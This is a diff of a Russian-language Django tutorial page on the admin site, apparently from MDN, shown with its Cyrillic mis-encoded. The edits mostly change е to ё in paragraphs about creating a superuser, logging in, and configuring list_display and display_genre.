+<p>Для создания ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ ΠΈΠ·Β Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΏΠ°ΠΏΠΊΠΈ, Π³Π΄Π΅ располоТСн <strong>manage.py</strong>. Вас попросят ввСсти имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, адрСс элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΈ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ.Β </p>
<pre class="brush: bash">python3 manage.py createsuperuser
</pre>
@@ -70,7 +70,7 @@ admin.site.register(BookInstance)
</pre>
-<h2 id="Π’Ρ…ΠΎΠ΄_Π²_Π°Π΄ΠΌΠΈΠ½-панСль_ΠΈ_Π΅Π΅_использованиС">Π’Ρ…ΠΎΠ΄ Π² Π°Π΄ΠΌΠΈΠ½-панСль ΠΈ Π΅Π΅ использованиС</h2>
+<h2 id="Π’Ρ…ΠΎΠ΄_Π²_Π°Π΄ΠΌΠΈΠ½-панСль_ΠΈ_Π΅Ρ‘_использованиС">Π’Ρ…ΠΎΠ΄ Π² Π°Π΄ΠΌΠΈΠ½-панСль ΠΈ Π΅Ρ‘ использованиС</h2>
<p>Для Π²Ρ…ΠΎΠ΄Π° Π² Π°Π΄ΠΌΠΈΠ½-панСль ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ссылку<em> /admin</em> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β Β <a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin</a>) ΠΈ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ Π»ΠΎΠ³ΠΈΠ½ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ вашСго Π½ΠΎΠ²ΠΎΠ³ΠΎ ΡΡƒΠΏΠ΅Ρ€ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΒ  (вас пСрСнаправят Π½Π° login-страницу ΠΈ ΠΏΠΎΡ‚ΠΎΠΌ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° /admin послС Π²Π²ΠΎΠ΄Π° всСх Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ).</p>
@@ -94,7 +94,7 @@ admin.site.register(BookInstance)
<p>Для удалСния ΠΊΠ½ΠΈΠ³ΠΈ ΠΈΠ· этого списка Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ чСкбокс рядом с Π½Π΅ΠΉ ΠΈ дСйствиС <em>delete...</em>Β  ΠΈΠ· Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ списка <em>Action</em>, Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <strong>Go</strong>. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΠΊΠ½ΠΈΠ³Ρƒ, Π½Π°ΠΆΠ°Π² Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <strong>ADD BOOK</strong>.Β </p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ½ΠΈΠ³Ρƒ, ΠΊΠ»ΠΈΠΊΠ½ΡƒΠ² ΠΏΠΎ ссылкС с Π΅Π΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° рСдактирования ΠΊΠ½ΠΈΠ³ΠΈ, привСдСнная Π½ΠΈΠΆΠ΅, практичСски ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Π° страницС добавлСния Π½ΠΎΠ²ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ. ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ отличия - это Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ страницы (<em>Change book</em>) ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΎΠΊΒ <strong>Delete</strong>, <strong>HISTORY</strong> ΠΈ <strong>VIEW ON SITE.Β  </strong>ПослСдняя присутствуСт, Ρ‚Π°ΠΊΒ ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>get_absolute_url() </code>Π² нашСй ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ½ΠΈΠ³Ρƒ, ΠΊΠ»ΠΈΠΊΠ½ΡƒΠ² ΠΏΠΎ ссылкС с Π΅Ρ‘ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° рСдактирования ΠΊΠ½ΠΈΠ³ΠΈ, привСдённая Π½ΠΈΠΆΠ΅, практичСски ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½Π° страницС добавлСния Π½ΠΎΠ²ΠΎΠΉ ΠΊΠ½ΠΈΠ³ΠΈ. ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ отличия - это Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ страницы (<em>Change book</em>) ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΎΠΊΒ <strong>Delete</strong>, <strong>HISTORY</strong> ΠΈ <strong>VIEW ON SITE.Β  </strong>ПослСдняя присутствуСт, Ρ‚Π°ΠΊΒ ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>get_absolute_url() </code>Π² нашСй ΠΌΠΎΠ΄Π΅Π»ΠΈ.</p>
<p><img alt="Admin Site - Book Edit" src="https://mdn.mozillademos.org/files/13977/admin_book_modify.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p>
@@ -113,7 +113,7 @@ admin.site.register(BookInstance)
<p>Django выполняСт Π½Π΅ΠΏΠ»ΠΎΡ…ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ созданию Π±Π°Π·ΠΎΠ²ΠΎΠΉ Π°Π΄ΠΌΠΈΠ½-ΠΏΠ°Π½Π΅Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈΠ· зарСгистрированных ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ:</p>
<ul>
- <li>каТдая модСль ΠΈΠΌΠ΅Π΅Ρ‚ список записСй, каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… идСнтифицируСтся строкой, создаваСмой ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>__str__()</code>Β ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΈ связана с прСдставлСниСм для Π΅Π΅ рСдактирования. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части этого прСдставлСния находится мСню дСйствий, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для удалСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… записСй Π·Π° Ρ€Π°Π·</li>
+ <li>каТдая модСль ΠΈΠΌΠ΅Π΅Ρ‚ список записСй, каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… идСнтифицируСтся строкой, создаваСмой ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>__str__()</code>Β ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΈ связана с прСдставлСниСм для Π΅Ρ‘ рСдактирования. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части этого прСдставлСния находится мСню дСйствий, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для удалСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… записСй Π·Π° Ρ€Π°Π·</li>
<li>Π€ΠΎΡ€ΠΌΡ‹ для рСдактирования ΠΈ добавлСния записСй содСрТат всС поля ΠΌΠΎΠ΄Π΅Π»ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ располоТСны Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ Π² порядкС ΠΈΡ… объявлСния Π² ΠΌΠΎΠ΄Π΅Π»ΠΈ. Β </li>
</ul>
@@ -143,7 +143,7 @@ admin.site.register(BookInstance)
<p>Для измСнСния отобраТСния ΠΌΠΎΠ΄Π΅Π»ΠΈ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ интСрфСйсС Π°Π΄ΠΌΠΈΠ½-ΠΏΠ°Π½Π΅Π»ΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ класс <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#modeladmin-objects">ModelAdmin</a>Β Β (ΠΎΠ½ описываСт располоТСниС элСмСнтов интСрфСйса, Π³Π΄Π΅ Model - Π½Π°ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ) ΠΈ Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для использования с этой модСлью.</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ с ΠΌΠΎΠ΄Π΅Π»ΠΈ Author. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Β <strong>admin.py</strong> Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ прилоТСния (<strong>/locallibrary/catalog/admin.py</strong>). Π—Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΈΡΡ…ΠΎΠ΄Π½ΡƒΡŽ Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ прСфикс #) этой ΠΌΠΎΠ΄Π΅Π»ΠΈ:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ с ΠΌΠΎΠ΄Π΅Π»ΠΈ Author. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ»Β <strong>admin.py</strong> Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ прилоТСния (<strong>/locallibrary/catalog/admin.py</strong>). Π—Π°ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΈΡΡ…ΠΎΠ΄Π½ΡƒΡŽ Ρ€Π΅Π³ΠΈΡΡ‚Ρ€Π°Ρ†ΠΈΡŽ (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ прСфикс #) этой ΠΌΠΎΠ΄Π΅Π»ΠΈ:</p>
<pre class="brush: js"># admin.site.register(Author)</pre>
@@ -183,7 +183,7 @@ class BookInstanceAdmin(admin.ModelAdmin):
<p>БСйчас ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅Β <em>LocalLibrary</em>Β ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ всСх Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ имя ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>__str__()</code>Β ΠΌΠΎΠ΄Π΅Π»ΠΈ. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΠΎ, ΠΊΠΎΠ³Π΄Π° Π΅ΡΡ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ нСсколько Π°Π²Ρ‚ΠΎΡ€ΠΎΠ², Π½ΠΎ, Ссли ΠΈΡ… количСство Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ Π΄ΡƒΠ±Π»ΠΈΠΊΠ°Ρ‚Ρ‹. Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ΠΈΡ… ΠΈΠ»ΠΈ просто ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π°Π²Ρ‚ΠΎΡ€Π΅, ΠΌΠΎΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display">list_display</a>Β (для добавлСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ).Β </p>
-<p>Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ класс <code>AuthorAdmin</code>Β ΠΊΠΎΠ΄ΠΎΠΌ, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ Π½ΠΈΠΆΠ΅. Названия ΠΏΠΎΠ»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² спискС, пСрСчислСны Π² ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠ΅ list_display Π² Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠΌ порядкС  (это Ρ‚Π΅ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π°, Ρ‡Ρ‚ΠΎ ΠΈ Π² исходной ΠΌΠΎΠ΄Π΅Π»ΠΈ).</p>
+<p>Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ класс <code>AuthorAdmin</code>Β ΠΊΠΎΠ΄ΠΎΠΌ, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ Π½ΠΈΠΆΠ΅. Названия ΠΏΠΎΠ»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² спискС, пСрСчислСны Π² ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠ΅ list_display Π² Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠΌ порядкС  (это Ρ‚Π΅ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π°, Ρ‡Ρ‚ΠΎ ΠΈ Π² исходной ΠΌΠΎΠ΄Π΅Π»ΠΈ).</p>
<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin):
list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death')
@@ -193,19 +193,19 @@ class BookInstanceAdmin(admin.ModelAdmin):
<p><img alt="Admin Site - Improved Author List" src="https://mdn.mozillademos.org/files/14023/admin_improved_author_list.png" style="border-style: solid; border-width: 1px; display: block; height: 302px; margin: 0px auto; width: 941px;"></p>
-<p>Для нашСй ΠΌΠΎΠ΄Π΅Π»ΠΈ <code>Book</code>Β Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»Π΅ΠΉΒ <code>author</code> ΠΈΒ <code>genre</code>. ПолС <code>author</code>Β  - это  внСшний ΠΊΠ»ΡŽΡ‡ (<code>ForeignKey</code> ) связи ΠΎΠ΄ΠΈΠ½ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ, поэтому ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ прСдставлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>__str()__</code>Β  для связанной записи. Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ класс <code>BookAdmin</code> Π½Π° Π²Π΅Ρ€ΡΠΈΡŽ, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅.</p>
+<p>Для нашСй ΠΌΠΎΠ΄Π΅Π»ΠΈ <code>Book</code>Β Π΄ΠΎΠ±Π°Π²ΠΈΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»Π΅ΠΉΒ <code>author</code> ΠΈΒ <code>genre</code>. ПолС <code>author</code>Β  - это  внСшний ΠΊΠ»ΡŽΡ‡ (<code>ForeignKey</code> ) связи ΠΎΠ΄ΠΈΠ½ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ, поэтому ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ прСдставлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>__str()__</code>Β  для связанной записи. Π—Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ класс <code>BookAdmin</code> Π½Π° Π²Π΅Ρ€ΡΠΈΡŽ, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΡƒΡŽ Π½ΠΈΠΆΠ΅.</p>
<pre class="brush: python">class BookAdmin(admin.ModelAdmin):
list_display = ('title', 'author', 'display_genre')
</pre>
-<p>К соТалСнию, ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π΅ <font face="Consolas, Liberation Mono, Courier, monospace">genre Π²</font>Β <code>list_display</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ являСтся  <code>ManyToManyField</code>Β (Django Π½Π΅ позволяСт это ΠΈΠ·-Π·Π° большой "стоимости" доступа ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…). ВмСсто этого ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>display_genre</code> для получСния строкового прСдставлСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (Π²Ρ‹Π·ΠΎΠ² этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π΅ΡΡ‚ΡŒ Π² <code>list_display</code>,Β  Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ см. Π½ΠΈΠΆΠ΅).</p>
+<p>К соТалСнию, ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π΅ <font face="Consolas, Liberation Mono, Courier, monospace">genre Π²</font>Β <code>list_display</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΎ являСтся  <code>ManyToManyField</code>Β (Django Π½Π΅ позволяСт это ΠΈΠ·-Π·Π° большой "стоимости" доступа ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…). ВмСсто этого ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>display_genre</code> для получСния строкового прСдставлСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (Π²Ρ‹Π·ΠΎΠ² этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π΅ΡΡ‚ΡŒ Π² <code>list_display</code>,Β  Π΅Ρ‘ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ см. Π½ΠΈΠΆΠ΅).</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ здСсь значСния поля <code>genre</code> Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π½Π΅ самая Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ идСя вслСдствиС "стоимости" ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…. ΠœΡ‹ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ это, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² Π²Π°ΡˆΠΈΡ… модСлях ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΏΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для добавлСния ссылки  <em>Delete </em>рядом с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠΌ списка.</p>
</div>
-<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π² Π²Π°ΡˆΡƒ модСль <code>Book</code> (<strong>models.py</strong>). Π’ Π½Π΅ΠΌ создаСтся строка ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Ρ‚Ρ€Π΅Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ поля <code>genre</code> (Ссли ΠΎΠ½ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚) ΠΈ <code>short_description</code>,Β  ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано Π² Π°Π΄ΠΌΠΈΠ½-ΠΏΠ°Π½Π΅Π»ΠΈ.</p>
+<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π² Π²Π°ΡˆΡƒ модСль <code>Book</code> (<strong>models.py</strong>). Π’ Π½Π΅ΠΌ создаётся строка ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Ρ‚Ρ€Ρ‘Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ поля <code>genre</code> (Ссли ΠΎΠ½ΠΈ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚) ΠΈ <code>short_description</code>,Β  ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано Π² Π°Π΄ΠΌΠΈΠ½-ΠΏΠ°Π½Π΅Π»ΠΈ.</p>
<pre class="brush: python">Β Β Β Β def display_genre(self):
"""
@@ -215,11 +215,11 @@ class BookInstanceAdmin(admin.ModelAdmin):
display_genre.short_description = 'Genre'
</pre>
-<p>ПослС сохранСния ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈ обновлСния Π°Π΄ΠΌΠΈΠ½-ΠΏΠ°Π½Π΅Π»ΠΈ, пСрСзапуститС Π΅Π΅ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° страницу списка <em>Books</em>. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ список ΠΊΠ½ΠΈΠ³, Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅:</p>
+<p>ПослС сохранСния ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΈ обновлСния Π°Π΄ΠΌΠΈΠ½-ΠΏΠ°Π½Π΅Π»ΠΈ, пСрСзапуститС Π΅Ρ‘ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° страницу списка <em>Books</em>. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ список ΠΊΠ½ΠΈΠ³, Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π½ΠΈΠΆΠ΅:</p>
<p><img alt="Admin Site - Improved Book List" src="https://mdn.mozillademos.org/files/14025/admin_improved_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 337px; margin: 0px auto; width: 947px;"></p>
-<p>МодСль <code>Genre</code>Β (ΠΈ модСль <code>Language</code>, Ссли Π²Ρ‹ Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ) ΠΈΠΌΠ΅Π΅Ρ‚ СдинствСнноС ΠΏΠΎΠ»Π΅. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π½Π΅Ρ‚ нСобходимости создания для Π½ΠΈΡ… Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ с Ρ†Π΅Π»ΡŒΡŽ отобраТСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠΎΠ»Π΅ΠΉ.</p>
